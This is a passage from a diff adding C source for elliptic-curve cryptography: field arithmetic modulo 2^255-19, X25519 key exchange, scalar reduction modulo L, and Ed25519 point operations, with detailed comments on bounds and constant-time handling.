((i64)1 << 26); t1 += c; \ + h[0]=(i32)t0; h[1]=(i32)t1; h[2]=(i32)t2; h[3]=(i32)t3; h[4]=(i32)t4; \ + h[5]=(i32)t5; h[6]=(i32)t6; h[7]=(i32)t7; h[8]=(i32)t8; h[9]=(i32)t9 + +// Decodes a field element from a byte buffer. +// mask specifies how many bits we ignore. +// Traditionally we ignore 1. It's useful for EdDSA, +// which uses that bit to denote the sign of x. +// Elligator however uses positive representatives, +// which means ignoring 2 bits instead. +static void fe_frombytes_mask(fe h, const u8 s[32], unsigned nb_mask) +{ + i32 mask = 0xffffff >> nb_mask; + i64 t0 = load32_le(s); // t0 < 2^32 + i64 t1 = load24_le(s + 4) << 6; // t1 < 2^30 + i64 t2 = load24_le(s + 7) << 5; // t2 < 2^29 + i64 t3 = load24_le(s + 10) << 3; // t3 < 2^27 + i64 t4 = load24_le(s + 13) << 2; // t4 < 2^26 + i64 t5 = load32_le(s + 16); // t5 < 2^32 + i64 t6 = load24_le(s + 20) << 7; // t6 < 2^31 + i64 t7 = load24_le(s + 23) << 5; // t7 < 2^29 + i64 t8 = load24_le(s + 26) << 4; // t8 < 2^28 + i64 t9 = (load24_le(s + 29) & mask) << 2; // t9 < 2^25 + FE_CARRY; // Carry precondition OK +} + +static void fe_frombytes(fe h, const u8 s[32]) +{ + fe_frombytes_mask(h, s, 1); +} + + +// Precondition +// |h[0]|, |h[2]|, |h[4]|, |h[6]|, |h[8]| < 1.1 * 2^25 +// |h[1]|, |h[3]|, |h[5]|, |h[7]|, |h[9]| < 1.1 * 2^24 +// +// Therefore, |h| < 2^255-19 +// There are two possibilities: +// +// - If h is positive, all we need to do is reduce its individual +// limbs down to their tight positive range. +// - If h is negative, we also need to add 2^255-19 to it. +// Or just remove 19 and chop off any excess bit. +static void fe_tobytes(u8 s[32], const fe h) +{ + i32 t[10]; + COPY(t, h, 10); + i32 q = (19 * t[9] + (((i32) 1) << 24)) >> 25; + // |t9| < 1.1 * 2^24 + // -1.1 * 2^24 < t9 < 1.1 * 2^24 + // -21 * 2^24 < 19 * t9 < 21 * 2^24 + // -2^29 < 19 * t9 + 2^24 < 2^29 + // -2^29 / 2^25 < (19 * t9 + 2^24) / 2^25 < 2^29 / 2^25 + // -16 < (19 * t9 + 2^24) / 2^25 < 16 + FOR (i, 0, 5) { + q += t[2*i ]; q >>= 26; // q = 0 or -1 + q += t[2*i+1]; q >>= 25; // q = 0 or -1 + } + // q = 0 iff h >= 0 + // q = -1 iff h < 0 + // Adding q * 19 to h reduces h to its proper range. + q *= 19; // Shift carry back to the beginning + FOR (i, 0, 5) { + t[i*2 ] += q; q = t[i*2 ] >> 26; t[i*2 ] -= q * ((i32)1 << 26); + t[i*2+1] += q; q = t[i*2+1] >> 25; t[i*2+1] -= q * ((i32)1 << 25); + } + // h is now fully reduced, and q represents the excess bit. + + store32_le(s + 0, ((u32)t[0] >> 0) | ((u32)t[1] << 26)); + store32_le(s + 4, ((u32)t[1] >> 6) | ((u32)t[2] << 19)); + store32_le(s + 8, ((u32)t[2] >> 13) | ((u32)t[3] << 13)); + store32_le(s + 12, ((u32)t[3] >> 19) | ((u32)t[4] << 6)); + store32_le(s + 16, ((u32)t[5] >> 0) | ((u32)t[6] << 25)); + store32_le(s + 20, ((u32)t[6] >> 7) | ((u32)t[7] << 19)); + store32_le(s + 24, ((u32)t[7] >> 13) | ((u32)t[8] << 12)); + store32_le(s + 28, ((u32)t[8] >> 20) | ((u32)t[9] << 6)); + + WIPE_BUFFER(t); +} + +// Precondition +// ------------- +// |f0|, |f2|, |f4|, |f6|, |f8| < 1.65 * 2^26 +// |f1|, |f3|, |f5|, |f7|, |f9| < 1.65 * 2^25 +// +// |g0|, |g2|, |g4|, |g6|, |g8| < 1.65 * 2^26 +// |g1|, |g3|, |g5|, |g7|, |g9| < 1.65 * 2^25 +static void fe_mul_small(fe h, const fe f, i32 g) +{ + i64 t0 = f[0] * (i64) g; i64 t1 = f[1] * (i64) g; + i64 t2 = f[2] * (i64) g; i64 t3 = f[3] * (i64) g; + i64 t4 = f[4] * (i64) g; i64 t5 = f[5] * (i64) g; + i64 t6 = f[6] * (i64) g; i64 t7 = f[7] * (i64) g; + i64 t8 = f[8] * (i64) g; i64 t9 = f[9] * (i64) g; + // |t0|, |t2|, |t4|, |t6|, |t8| < 1.65 * 2^26 * 2^31 < 2^58 + // |t1|, |t3|, |t5|, |t7|, |t9| < 1.65 * 2^25 * 2^31 < 2^57 + + FE_CARRY; // Carry precondition OK +} + +// Precondition +// ------------- +// |f0|, |f2|, |f4|, |f6|, |f8| < 1.65 * 2^26 +// |f1|, |f3|, |f5|, |f7|, |f9| < 1.65 * 2^25 +// +// |g0|, |g2|, |g4|, |g6|, |g8| < 1.65 * 2^26 +// |g1|, |g3|, |g5|, |g7|, |g9| < 1.65 * 2^25 +static void fe_mul(fe h, const fe f, const fe g) +{ + // Everything is unrolled and put in temporary variables. + // We could roll the loop, but that would make curve25519 twice as slow. + i32 f0 = f[0]; i32 f1 = f[1]; i32 f2 = f[2]; i32 f3 = f[3]; i32 f4 = f[4]; + i32 f5 = f[5]; i32 f6 = f[6]; i32 f7 = f[7]; i32 f8 = f[8]; i32 f9 = f[9]; + i32 g0 = g[0]; i32 g1 = g[1]; i32 g2 = g[2]; i32 g3 = g[3]; i32 g4 = g[4]; + i32 g5 = g[5]; i32 g6 = g[6]; i32 g7 = g[7]; i32 g8 = g[8]; i32 g9 = g[9]; + i32 F1 = f1*2; i32 F3 = f3*2; i32 F5 = f5*2; i32 F7 = f7*2; i32 F9 = f9*2; + i32 G1 = g1*19; i32 G2 = g2*19; i32 G3 = g3*19; + i32 G4 = g4*19; i32 G5 = g5*19; i32 G6 = g6*19; + i32 G7 = g7*19; i32 G8 = g8*19; i32 G9 = g9*19; + // |F1|, |F3|, |F5|, |F7|, |F9| < 1.65 * 2^26 + // |G0|, |G2|, |G4|, |G6|, |G8| < 2^31 + // |G1|, |G3|, |G5|, |G7|, |G9| < 2^30 + + i64 t0 = f0*(i64)g0 + F1*(i64)G9 + f2*(i64)G8 + F3*(i64)G7 + f4*(i64)G6 + + F5*(i64)G5 + f6*(i64)G4 + F7*(i64)G3 + f8*(i64)G2 + F9*(i64)G1; + i64 t1 = f0*(i64)g1 + f1*(i64)g0 + f2*(i64)G9 + f3*(i64)G8 + f4*(i64)G7 + + f5*(i64)G6 + f6*(i64)G5 + f7*(i64)G4 + f8*(i64)G3 + f9*(i64)G2; + i64 t2 = f0*(i64)g2 + F1*(i64)g1 + f2*(i64)g0 + F3*(i64)G9 + f4*(i64)G8 + + F5*(i64)G7 + f6*(i64)G6 + F7*(i64)G5 + f8*(i64)G4 + F9*(i64)G3; + i64 t3 = f0*(i64)g3 + f1*(i64)g2 + f2*(i64)g1 + f3*(i64)g0 + f4*(i64)G9 + + f5*(i64)G8 + f6*(i64)G7 + f7*(i64)G6 + f8*(i64)G5 + f9*(i64)G4; + i64 t4 = f0*(i64)g4 + F1*(i64)g3 + f2*(i64)g2 + F3*(i64)g1 + f4*(i64)g0 + + F5*(i64)G9 + f6*(i64)G8 + F7*(i64)G7 + f8*(i64)G6 + F9*(i64)G5; + i64 t5 = f0*(i64)g5 + f1*(i64)g4 + f2*(i64)g3 + f3*(i64)g2 + f4*(i64)g1 + + f5*(i64)g0 + f6*(i64)G9 + f7*(i64)G8 + f8*(i64)G7 + f9*(i64)G6; + i64 t6 = f0*(i64)g6 + F1*(i64)g5 + f2*(i64)g4 + F3*(i64)g3 + f4*(i64)g2 + + F5*(i64)g1 + f6*(i64)g0 + F7*(i64)G9 + f8*(i64)G8 + F9*(i64)G7; + i64 t7 = f0*(i64)g7 + f1*(i64)g6 + f2*(i64)g5 + f3*(i64)g4 + f4*(i64)g3 + + f5*(i64)g2 + f6*(i64)g1 + f7*(i64)g0 + f8*(i64)G9 + f9*(i64)G8; + i64 t8 = f0*(i64)g8 + F1*(i64)g7 + f2*(i64)g6 + F3*(i64)g5 + f4*(i64)g4 + + F5*(i64)g3 + f6*(i64)g2 + F7*(i64)g1 + f8*(i64)g0 + F9*(i64)G9; + i64 t9 = f0*(i64)g9 + f1*(i64)g8 + f2*(i64)g7 + f3*(i64)g6 + f4*(i64)g5 + + f5*(i64)g4 + f6*(i64)g3 + f7*(i64)g2 + f8*(i64)g1 + f9*(i64)g0; + // t0 < 0.67 * 2^61 + // t1 < 0.41 * 2^61 + // t2 < 0.52 * 2^61 + // t3 < 0.32 * 2^61 + // t4 < 0.38 * 2^61 + // t5 < 0.22 * 2^61 + // t6 < 0.23 * 2^61 + // t7 < 0.13 * 2^61 + // t8 < 0.09 * 2^61 + // t9 < 0.03 * 2^61 + + FE_CARRY; // Everything below 2^62, Carry precondition OK +} + +// Precondition +// ------------- +// |f0|, |f2|, |f4|, |f6|, |f8| < 1.65 * 2^26 +// |f1|, |f3|, |f5|, |f7|, |f9| < 1.65 * 2^25 +// +// Note: we could use fe_mul() for this, but this is significantly faster +static void fe_sq(fe h, const fe f) +{ + i32 f0 = f[0]; i32 f1 = f[1]; i32 f2 = f[2]; i32 f3 = f[3]; i32 f4 = f[4]; + i32 f5 = f[5]; i32 f6 = f[6]; i32 f7 = f[7]; i32 f8 = f[8]; i32 f9 = f[9]; + i32 f0_2 = f0*2; i32 f1_2 = f1*2; i32 f2_2 = f2*2; i32 f3_2 = f3*2; + i32 f4_2 = f4*2; i32 f5_2 = f5*2; i32 f6_2 = f6*2; i32 f7_2 = f7*2; + i32 f5_38 = f5*38; i32 f6_19 = f6*19; i32 f7_38 = f7*38; + i32 f8_19 = f8*19; i32 f9_38 = f9*38; + // |f0_2| , |f2_2| , |f4_2| , |f6_2| , |f8_2| < 1.65 * 2^27 + // |f1_2| , |f3_2| , |f5_2| , |f7_2| , |f9_2| < 1.65 * 2^26 + // |f5_38|, |f6_19|, |f7_38|, |f8_19|, |f9_38| < 2^31 + + i64 t0 = f0 *(i64)f0 + f1_2*(i64)f9_38 + f2_2*(i64)f8_19 + + f3_2*(i64)f7_38 + f4_2*(i64)f6_19 + f5 *(i64)f5_38; + i64 t1 = f0_2*(i64)f1 + f2 *(i64)f9_38 + f3_2*(i64)f8_19 + + f4 *(i64)f7_38 + f5_2*(i64)f6_19; + i64 t2 = f0_2*(i64)f2 + f1_2*(i64)f1 + f3_2*(i64)f9_38 + + f4_2*(i64)f8_19 + f5_2*(i64)f7_38 + f6 *(i64)f6_19; + i64 t3 = f0_2*(i64)f3 + f1_2*(i64)f2 + f4 *(i64)f9_38 + + f5_2*(i64)f8_19 + f6 *(i64)f7_38; + i64 t4 = f0_2*(i64)f4 + f1_2*(i64)f3_2 + f2 *(i64)f2 + + f5_2*(i64)f9_38 + f6_2*(i64)f8_19 + f7 *(i64)f7_38; + i64 t5 = f0_2*(i64)f5 + f1_2*(i64)f4 + f2_2*(i64)f3 + + f6 *(i64)f9_38 + f7_2*(i64)f8_19; + i64 t6 = f0_2*(i64)f6 + f1_2*(i64)f5_2 + f2_2*(i64)f4 + + f3_2*(i64)f3 + f7_2*(i64)f9_38 + f8 *(i64)f8_19; + i64 t7 = f0_2*(i64)f7 + f1_2*(i64)f6 + f2_2*(i64)f5 + + f3_2*(i64)f4 + f8 *(i64)f9_38; + i64 t8 = f0_2*(i64)f8 + f1_2*(i64)f7_2 + f2_2*(i64)f6 + + f3_2*(i64)f5_2 + f4 *(i64)f4 + f9 *(i64)f9_38; + i64 t9 = f0_2*(i64)f9 + f1_2*(i64)f8 + f2_2*(i64)f7 + + f3_2*(i64)f6 + f4 *(i64)f5_2; + // t0 < 0.67 * 2^61 + // t1 < 0.41 * 2^61 + // t2 < 0.52 * 2^61 + // t3 < 0.32 * 2^61 + // t4 < 0.38 * 2^61 + // t5 < 0.22 * 2^61 + // t6 < 0.23 * 2^61 + // t7 < 0.13 * 2^61 + // t8 < 0.09 * 2^61 + // t9 < 0.03 * 2^61 + + FE_CARRY; +} + +// Parity check. Returns 0 if even, 1 if odd +static int fe_isodd(const fe f) +{ + u8 s[32]; + fe_tobytes(s, f); + u8 isodd = s[0] & 1; + WIPE_BUFFER(s); + return isodd; +} + +// Returns 1 if equal, 0 if not equal +static int fe_isequal(const fe f, const fe g) +{ + u8 fs[32]; + u8 gs[32]; + fe_tobytes(fs, f); + fe_tobytes(gs, g); + int isdifferent = crypto_verify32(fs, gs); + WIPE_BUFFER(fs); + WIPE_BUFFER(gs); + return 1 + isdifferent; +} + +// Inverse square root. +// Returns true if x is a square, false otherwise. +// After the call: +// isr = sqrt(1/x) if x is a non-zero square. +// isr = sqrt(sqrt(-1)/x) if x is not a square. +// isr = 0 if x is zero. +// We do not guarantee the sign of the square root. +// +// Notes: +// Let quartic = x^((p-1)/4) +// +// x^((p-1)/2) = chi(x) +// quartic^2 = chi(x) +// quartic = sqrt(chi(x)) +// quartic = 1 or -1 or sqrt(-1) or -sqrt(-1) +// +// Note that x is a square if quartic is 1 or -1 +// There are 4 cases to consider: +// +// if quartic = 1 (x is a square) +// then x^((p-1)/4) = 1 +// x^((p-5)/4) * x = 1 +// x^((p-5)/4) = 1/x +// x^((p-5)/8) = sqrt(1/x) or -sqrt(1/x) +// +// if quartic = -1 (x is a square) +// then x^((p-1)/4) = -1 +// x^((p-5)/4) * x = -1 +// x^((p-5)/4) = -1/x +// x^((p-5)/8) = sqrt(-1) / sqrt(x) +// x^((p-5)/8) * sqrt(-1) = sqrt(-1)^2 / sqrt(x) +// x^((p-5)/8) * sqrt(-1) = -1/sqrt(x) +// x^((p-5)/8) * sqrt(-1) = -sqrt(1/x) or sqrt(1/x) +// +// if quartic = sqrt(-1) (x is not a square) +// then x^((p-1)/4) = sqrt(-1) +// x^((p-5)/4) * x = sqrt(-1) +// x^((p-5)/4) = sqrt(-1)/x +// x^((p-5)/8) = sqrt(sqrt(-1)/x) or -sqrt(sqrt(-1)/x) +// +// Note that the product of two non-squares is always a square: +// For any non-squares a and b, chi(a) = -1 and chi(b) = -1. +// Since chi(x) = x^((p-1)/2), chi(a)*chi(b) = chi(a*b) = 1. +// Therefore a*b is a square. +// +// Since sqrt(-1) and x are both non-squares, their product is a +// square, and we can compute their square root. +// +// if quartic = -sqrt(-1) (x is not a square) +// then x^((p-1)/4) = -sqrt(-1) +// x^((p-5)/4) * x = -sqrt(-1) +// x^((p-5)/4) = -sqrt(-1)/x +// x^((p-5)/8) = sqrt(-sqrt(-1)/x) +// x^((p-5)/8) = sqrt( sqrt(-1)/x) * sqrt(-1) +// x^((p-5)/8) * sqrt(-1) = sqrt( sqrt(-1)/x) * sqrt(-1)^2 +// x^((p-5)/8) * sqrt(-1) = sqrt( sqrt(-1)/x) * -1 +// x^((p-5)/8) * sqrt(-1) = -sqrt(sqrt(-1)/x) or sqrt(sqrt(-1)/x) +static int invsqrt(fe isr, const fe x) +{ + fe t0, t1, t2; + + // t0 = x^((p-5)/8) + // Can be achieved with a simple double & add ladder, + // but it would be slower. + fe_sq(t0, x); + fe_sq(t1,t0); fe_sq(t1, t1); fe_mul(t1, x, t1); + fe_mul(t0, t0, t1); + fe_sq(t0, t0); fe_mul(t0, t1, t0); + fe_sq(t1, t0); FOR (i, 1, 5) fe_sq(t1, t1); fe_mul(t0, t1, t0); + fe_sq(t1, t0); FOR (i, 1, 10) fe_sq(t1, t1); fe_mul(t1, t1, t0); + fe_sq(t2, t1); FOR (i, 1, 20) fe_sq(t2, t2); fe_mul(t1, t2, t1); + fe_sq(t1, t1); FOR (i, 1, 10) fe_sq(t1, t1); fe_mul(t0, t1, t0); + fe_sq(t1, t0); FOR (i, 1, 50) fe_sq(t1, t1); fe_mul(t1, t1, t0); + fe_sq(t2, t1); FOR (i, 1, 100) fe_sq(t2, t2); fe_mul(t1, t2, t1); + fe_sq(t1, t1); FOR (i, 1, 50) fe_sq(t1, t1); fe_mul(t0, t1, t0); + fe_sq(t0, t0); FOR (i, 1, 2) fe_sq(t0, t0); fe_mul(t0, t0, x); + + // quartic = x^((p-1)/4) + i32 *quartic = t1; + fe_sq (quartic, t0); + fe_mul(quartic, quartic, x); + + i32 *check = t2; + fe_0 (check); int z0 = fe_isequal(x , check); + fe_1 (check); int p1 = fe_isequal(quartic, check); + fe_neg(check, check ); int m1 = fe_isequal(quartic, check); + fe_neg(check, sqrtm1); int ms = fe_isequal(quartic, check); + + // if quartic == -1 or sqrt(-1) + // then isr = x^((p-1)/4) * sqrt(-1) + // else isr = x^((p-1)/4) + fe_mul(isr, t0, sqrtm1); + fe_ccopy(isr, t0, 1 - (m1 | ms)); + + WIPE_BUFFER(t0); + WIPE_BUFFER(t1); + WIPE_BUFFER(t2); + return p1 | m1 | z0; +} + +// Inverse in terms of inverse square root. +// Requires two additional squarings to get rid of the sign. +// +// 1/x = x * (+invsqrt(x^2))^2 +// = x * (-invsqrt(x^2))^2 +// +// A fully optimised exponentiation by p-1 would save 6 field +// multiplications, but it would require more code. +static void fe_invert(fe out, const fe x) +{ + fe tmp; + fe_sq(tmp, x); + invsqrt(tmp, tmp); + fe_sq(tmp, tmp); + fe_mul(out, tmp, x); + WIPE_BUFFER(tmp); +} + +// trim a scalar for scalar multiplication +static void trim_scalar(u8 scalar[32]) +{ + scalar[ 0] &= 248; + scalar[31] &= 127; + scalar[31] |= 64; +} + +// get bit from scalar at position i +static int scalar_bit(const u8 s[32], int i) +{ + if (i < 0) { return 0; } // handle -1 for sliding windows + return (s[i>>3] >> (i&7)) & 1; +} + +/////////////// +/// X-25519 /// Taken from SUPERCOP's ref10 implementation. +/////////////// +static void scalarmult(u8 q[32], const u8 scalar[32], const u8 p[32], + int nb_bits) +{ + // computes the scalar product + fe x1; + fe_frombytes(x1, p); + + // computes the actual scalar product (the result is in x2 and z2) + fe x2, z2, x3, z3, t0, t1; + // Montgomery ladder + // In projective coordinates, to avoid divisions: x = X / Z + // We don't care about the y coordinate, it's only 1 bit of information + fe_1(x2); fe_0(z2); // "zero" point + fe_copy(x3, x1); fe_1(z3); // "one" point + int swap = 0; + for (int pos = nb_bits-1; pos >= 0; --pos) { + // constant time conditional swap before ladder step + int b = scalar_bit(scalar, pos); + swap ^= b; // xor trick avoids swapping at the end of the loop + fe_cswap(x2, x3, swap); + fe_cswap(z2, z3, swap); + swap = b; // anticipates one last swap after the loop + + // Montgomery ladder step: replaces (P2, P3) by (P2*2, P2+P3) + // with differential addition + fe_sub(t0, x3, z3); + fe_sub(t1, x2, z2); + fe_add(x2, x2, z2); + fe_add(z2, x3, z3); + fe_mul(z3, t0, x2); + fe_mul(z2, z2, t1); + fe_sq (t0, t1 ); + fe_sq (t1, x2 ); + fe_add(x3, z3, z2); + fe_sub(z2, z3, z2); + fe_mul(x2, t1, t0); + fe_sub(t1, t1, t0); + fe_sq (z2, z2 ); + fe_mul_small(z3, t1, 121666); + fe_sq (x3, x3 ); + fe_add(t0, t0, z3); + fe_mul(z3, x1, z2); + fe_mul(z2, t1, t0); + } + // last swap is necessary to compensate for the xor trick + // Note: after this swap, P3 == P2 + P1. + fe_cswap(x2, x3, swap); + fe_cswap(z2, z3, swap); + + // normalises the coordinates: x == X / Z + fe_invert(z2, z2); + fe_mul(x2, x2, z2); + fe_tobytes(q, x2); + + WIPE_BUFFER(x1); + WIPE_BUFFER(x2); WIPE_BUFFER(z2); WIPE_BUFFER(t0); + WIPE_BUFFER(x3); WIPE_BUFFER(z3); WIPE_BUFFER(t1); +} + +void crypto_x25519(u8 raw_shared_secret[32], + const u8 your_secret_key [32], + const u8 their_public_key [32]) +{ + // restrict the possible scalar values + u8 e[32]; + COPY(e, your_secret_key, 32); + trim_scalar(e); + scalarmult(raw_shared_secret, e, their_public_key, 255); + WIPE_BUFFER(e); +} + +void crypto_x25519_public_key(u8 public_key[32], + const u8 secret_key[32]) +{ + static const u8 base_point[32] = {9}; + crypto_x25519(public_key, secret_key, base_point); +} + +/////////////////////////// +/// Arithmetic modulo L /// +/////////////////////////// +static const u32 L[8] = {0x5cf5d3ed, 0x5812631a, 0xa2f79cd6, 0x14def9de, + 0x00000000, 0x00000000, 0x00000000, 0x10000000,}; + +// p = a*b + p +static void multiply(u32 p[16], const u32 a[8], const u32 b[8]) +{ + FOR (i, 0, 8) { + u64 carry = 0; + FOR (j, 0, 8) { + carry += p[i+j] + (u64)a[i] * b[j]; + p[i+j] = (u32)carry; + carry >>= 32; + } + p[i+8] = (u32)carry; + } +} + +static int is_above_l(const u32 x[8]) +{ + // We work with L directly, in a 2's complement encoding + // (-L == ~L + 1) + u64 carry = 1; + FOR (i, 0, 8) { + carry += (u64)x[i] + (~L[i] & 0xffffffff); + carry >>= 32; + } + return (int)carry; // carry is either 0 or 1 +} + +// Final reduction modulo L, by conditionally removing L. +// if x < l , then r = x +// if l <= x 2*l, then r = x-l +// otherwise the result will be wrong +static void remove_l(u32 r[8], const u32 x[8]) +{ + u64 carry = is_above_l(x); + u32 mask = ~(u32)carry + 1; // carry == 0 or 1 + FOR (i, 0, 8) { + carry += (u64)x[i] + (~L[i] & mask); + r[i] = (u32)carry; + carry >>= 32; + } +} + +// Full reduction modulo L (Barrett reduction) +static void mod_l(u8 reduced[32], const u32 x[16]) +{ + static const u32 r[9] = {0x0a2c131b,0xed9ce5a3,0x086329a7,0x2106215d, + 0xffffffeb,0xffffffff,0xffffffff,0xffffffff,0xf,}; + // xr = x * r + u32 xr[25] = {0}; + FOR (i, 0, 9) { + u64 carry = 0; + FOR (j, 0, 16) { + carry += xr[i+j] + (u64)r[i] * x[j]; + xr[i+j] = (u32)carry; + carry >>= 32; + } + xr[i+16] = (u32)carry; + } + // xr = floor(xr / 2^512) * L + // Since the result is guaranteed to be below 2*L, + // it is enough to only compute the first 256 bits. + // The division is performed by saying xr[i+16]. (16 * 32 = 512) + ZERO(xr, 8); + FOR (i, 0, 8) { + u64 carry = 0; + FOR (j, 0, 8-i) { + carry += xr[i+j] + (u64)xr[i+16] * L[j]; + xr[i+j] = (u32)carry; + carry >>= 32; + } + } + // xr = x - xr + u64 carry = 1; + FOR (i, 0, 8) { + carry += (u64)x[i] + (~xr[i] & 0xffffffff); + xr[i] = (u32)carry; + carry >>= 32; + } + // Final reduction modulo L (conditional subtraction) + remove_l(xr, xr); + store32_le_buf(reduced, xr, 8); + + WIPE_BUFFER(xr); +} + +static void reduce(u8 r[64]) +{ + u32 x[16]; + load32_le_buf(x, r, 16); + mod_l(r, x); + WIPE_BUFFER(x); +} + +// r = (a * b) + c +static void mul_add(u8 r[32], const u8 a[32], const u8 b[32], const u8 c[32]) +{ + u32 A[8]; load32_le_buf(A, a, 8); + u32 B[8]; load32_le_buf(B, b, 8); + u32 p[16]; load32_le_buf(p, c, 8); ZERO(p + 8, 8); + multiply(p, A, B); + mod_l(r, p); + WIPE_BUFFER(p); + WIPE_BUFFER(A); + WIPE_BUFFER(B); +} + +/////////////// +/// Ed25519 /// +/////////////// + +// Point (group element, ge) in a twisted Edwards curve, +// in extended projective coordinates. +// ge : x = X/Z, y = Y/Z, T = XY/Z +// ge_cached : Yp = X+Y, Ym = X-Y, T2 = T*D2 +// ge_precomp: Z = 1 +typedef struct { fe X; fe Y; fe Z; fe T; } ge; +typedef struct { fe Yp; fe Ym; fe Z; fe T2; } ge_cached; +typedef struct { fe Yp; fe Ym; fe T2; } ge_precomp; + +static void ge_zero(ge *p) +{ + fe_0(p->X); + fe_1(p->Y); + fe_1(p->Z); + fe_0(p->T); +} + +static void ge_tobytes(u8 s[32], const ge *h) +{ + fe recip, x, y; + fe_invert(recip, h->Z); + fe_mul(x, h->X, recip); + fe_mul(y, h->Y, recip); + fe_tobytes(s, y); + s[31] ^= fe_isodd(x) << 7; + + WIPE_BUFFER(recip); + WIPE_BUFFER(x); + WIPE_BUFFER(y); +} + +// h = -s, where s is a point encoded in 32 bytes +// +// Variable time! Inputs must not be secret! +// => Use only to *check* signatures. +// +// From the specifications: +// The encoding of s contains y and the sign of x +// x = sqrt((y^2 - 1) / (d*y^2 + 1)) +// In extended coordinates: +// X = x, Y = y, Z = 1, T = x*y +// +// Note that num * den is a square iff num / den is a square +// If num * den is not a square, the point was not on the curve. +// From the above: +// Let num = y^2 - 1 +// Let den = d*y^2 + 1 +// x = sqrt((y^2 - 1) / (d*y^2 + 1)) +// x = sqrt(num / den) +// x = sqrt(num^2 / (num * den)) +// x = num * sqrt(1 / (num * den)) +// +// Therefore, we can just compute: +// num = y^2 - 1 +// den = d*y^2 + 1 +// isr = invsqrt(num * den) // abort if not square +// x = num * isr +// Finally, negate x if its sign is not as specified. +static int ge_frombytes_neg_vartime(ge *h, const u8 s[32]) +{ + fe_frombytes(h->Y, s); + fe_1(h->Z); + fe_sq (h->T, h->Y); // t = y^2 + fe_mul(h->X, h->T, d ); // x = d*y^2 + fe_sub(h->T, h->T, h->Z); // t = y^2 - 1 + fe_add(h->X, h->X, h->Z); // x = d*y^2 + 1 + fe_mul(h->X, h->T, h->X); // x = (y^2 - 1) * (d*y^2 + 1) + int is_square = invsqrt(h->X, h->X); + if (!is_square) { + return -1; // Not on the curve, abort + } + fe_mul(h->X, h->T, h->X); // x = sqrt((y^2 - 1) / (d*y^2 + 1)) + if (fe_isodd(h->X) == (s[31] >> 7)) { + fe_neg(h->X, h->X); + } + fe_mul(h->T, h->X, h->Y); + return 0; +} + +static void ge_cache(ge_cached *c, const ge *p) +{ + fe_add (c->Yp, p->Y, p->X); + fe_sub (c->Ym, p->Y, p->X); + fe_copy(c->Z , p->Z ); + fe_mul (c->T2, p->T, D2 ); +} + +// Internal buffers are not wiped! Inputs must not be secret! +// => Use only to *check* signatures. +static void ge_add(ge *s, const ge *p, const ge_cached *q) +{ + fe a, b; + fe_add(a , p->Y, p->X ); + fe_sub(b , p->Y, p->X ); + fe_mul(a , a , q->Yp); + fe_mul(b , b , q->Ym); + fe_add(s->Y, a , b ); + fe_sub(s->X, a , b ); + + fe_add(s->Z, p->Z, p->Z ); + fe_mul(s->Z, s->Z, q->Z ); + fe_mul(s->T, p->T, q->T2); + fe_add(a , s->Z, s->T ); + fe_sub(b , s->Z, s->T ); + + fe_mul(s->T, s->X, s->Y); + fe_mul(s->X, s->X, b ); + fe_mul(s->Y, s->Y, a ); + fe_mul(s->Z, a , b ); +} + +// Internal buffers are not wiped! Inputs must not be secret! +// => Use only to *check* signatures. +static void ge_sub(ge *s, const ge *p, const ge_cached *q) +{ + ge_cached neg; + fe_copy(neg.Ym, q->Yp); + fe_copy(neg.Yp, q->Ym); + fe_copy(neg.Z , q->Z ); + fe_neg (neg.T2, q->T2); + ge_add(s, p, &neg); +} + +static void ge_madd(ge *s, const ge *p, const ge_precomp *q, fe a, fe b) +{ + fe_add(a , p->Y, p->X ); + fe_sub(b , p->Y, p->X ); + fe_mul(a , a , q->Yp); + fe_mul(b , b , q->Ym); + fe_add(s->Y, a , b ); + fe_sub(s->X, a , b ); + + fe_add(s->Z, p->Z, p->Z ); + fe_mul(s->T, p->T, q->T2); + fe_add(a , s->Z, s->T ); + fe_sub(b , s->Z, s->T ); + + fe_mul(s->T, s->X, s->Y); + fe_mul(s->X, s->X, b ); + fe_mul(s->Y, s->Y, a ); + fe_mul(s->Z, a , b ); +} + +// Internal buffers are not wiped! Inputs must not be secret! +// => Use only to *check* signatures. +static void ge_msub(ge *s, const ge *p, const ge_precomp *q, fe a, fe b) +{ + ge_precomp neg; + fe_copy(neg.Ym, q->Yp); + fe_copy(neg.Yp, q->Ym); + fe_neg (neg.T2, q->T2); + ge_madd(s, p, &neg, a, b); +} + +static void ge_double(ge *s, const ge *p, ge *q) +{ + fe_sq (q->X, p->X); + fe_sq (q->Y, p->Y); + fe_sq (q->Z, p->Z); // qZ = pZ^2 + fe_mul_small(q->Z, q->Z, 2); // qZ = pZ^2 * 2 + fe_add(q->T, p->X, p->Y); + fe_sq (s->T, q->T); + fe_add(q->T, q->Y, q->X); + fe_sub(q->Y, q->Y, q->X); + fe_sub(q->X, s->T, q->T); + fe_sub(q->Z, q->Z, q->Y); + + fe_mul(s->X, q->X , q->Z); + fe_mul(s->Y, q->T , q->Y); + fe_mul(s->Z, q->Y , q->Z); + fe_mul(s->T, q->X , q->T); +} + +// 5-bit signed window in cached format (Niels coordinates, Z=1) +static const ge_precomp b_window[8] = { + {{25967493,-14356035,29566456,3660896,-12694345, + 4014787,27544626,-11754271,-6079156,2047605,}, + {-12545711,934262,-2722910,3049990,-727428, + 9406986,12720692,5043384,19500929,-15469378,}, + {-8738181,4489570,9688441,-14785194,10184609, + -12363380,29287919,11864899,-24514362,-4438546,},}, + {{15636291,-9688557,24204773,-7912398,616977, + -16685262,27787600,-14772189,28944400,-1550024,}, + {16568933,4717097,-11556148,-1102322,15682896, + -11807043,16354577,-11775962,7689662,11199574,}, + {30464156,-5976125,-11779434,-15670865,23220365, + 15915852,7512774,10017326,-17749093,-9920357,},}, + {{10861363,11473154,27284546,1981175,-30064349, + 12577861,32867885,14515107,-15438304,10819380,}, + {4708026,6336745,20377586,9066809,-11272109, + 6594696,-25653668,12483688,-12668491,5581306,}, + {19563160,16186464,-29386857,4097519,10237984, + -4348115,28542350,13850243,-23678021,-15815942,},}, + {{5153746,9909285,1723747,-2777874,30523605, + 5516873,19480852,5230134,-23952439,-15175766,}, + {-30269007,-3463509,7665486,10083793,28475525, + 1649722,20654025,16520125,30598449,7715701,}, + {28881845,14381568,9657904,3680757,-20181635, + 7843316,-31400660,1370708,29794553,-1409300,},}, + {{-22518993,-6692182,14201702,-8745502,-23510406, + 8844726,18474211,-1361450,-13062696,13821877,}, + {-6455177,-7839871,3374702,-4740862,-27098617, + -10571707,31655028,-7212327,18853322,-14220951,}, + {4566830,-12963868,-28974889,-12240689,-7602672, + -2830569,-8514358,-10431137,2207753,-3209784,},}, + 